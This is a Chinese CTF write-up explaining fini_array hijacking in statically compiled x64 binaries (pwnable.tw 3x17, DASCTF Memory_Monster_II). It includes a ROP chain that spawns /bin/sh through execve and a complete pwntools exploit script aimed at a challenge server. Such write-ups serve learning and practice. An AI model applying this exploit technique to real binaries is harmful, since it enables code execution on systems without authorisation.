3×17
x64静态编译程序的fini_array劫持
1 劫持fini_array,循环写
劫持fini_array[1]为main函数地址,fini_array[0]为__libc_csu_fini,将长度为18的任意地址写升级为长度无限制的任意地址写
2 栈迁移,构造ROP chain
在0x4b40f0+0x10地址处构造ROP chain
ROP chain:
#syscall('/bin/sh\x00',0,0)
pop_rax
0x3b ;syscall入栈
pop rdi
addr of "/bin/sh\x00" ;参数一
pop rsi
0 ;参数二
pop rdx
0 ;参数三
syscall
在这里插入代码片
3 再次修改fini_array,exploit
构造完ROP chain之后,将fini_array[0]改为’leave;ret’,将fini_array[1]改为’ret’。这样,在执行完main函数(即fini_array[1])之后,程序去执行位于fini_array[0]的’leave;ret’,执行完之后,rip=fini_array[1],rsp=0x4b40f0+0x10。此时,fini_array[1]存放着我们放入的ret,这样,eip的值就被修改为了0x4b40f0+0x10。这也就是上一步我们将ROP链放在这个地址的原因。
leave指令做以下操作
mov rsp,rbp
pop rbp
DASCTF Memory_Monster_II
查看保护
IDA查看
调试
用gdb将程序运行起来,发现__fini_array地址处可写
exp
#coding:utf-8
from pwn import *
context(arch="amd64",os='linux',log_level='debug')
#p = process('./Memory_Monster_II')
p=remote("183.129.189.60",10100)
syscall_ret = 0x0402514
pop_rax_ret = 0x0448fcc
pop_rdx_ret = 0x0448415
pop_rsi_ret = 0x0406f80
pop_rdi_ret = 0x0401746
bin_sh_addr = 0x0492895
fini_array = 0x04B80B0
main_addr = 0x0401C1D
libc_csu_fini = 0x0402CB0
leave_ret = 0x0401CF3
esp = 0x04B80C0
ret = 0x0401016
def write(addr,data):
p.sendafter('addr:',p64(addr))
p.sendafter('data:',data)
#gdb.attach(p,"b*0x0402CB0")
#使程序循环跑起来 fini_array[0] fini_array[1]
write(fini_array,p64(libc_csu_fini)+p64(main_addr))
#在一个可读可写的地方写入/bin/sh
#布置栈上的内容为
#syscall('/bin/sh\x00',0,0)
write(esp,p64(pop_rax_ret))
write(esp+8,p64(0x3b)) #系统调用号
write(esp+16,p64(pop_rdi_ret)) #参数1
write(esp+24,p64(bin_sh_addr))
write(esp+32,p64(pop_rsi_ret))#参数2
write(esp+40,p64(0))
write(esp+48,p64(pop_rdx_ret))#参数3
write(esp+56,p64(0))
write(esp+64,p64(syscall_ret))#
#结束程序循环,进入ROP
write(fini_array,p64(leave_ret)+p64(ret))
p.interactive()
Reference
pwnable.tw新手向write up(二) 3×17-x64静态编译程序的fini_array劫持
pwnable.tw 3x17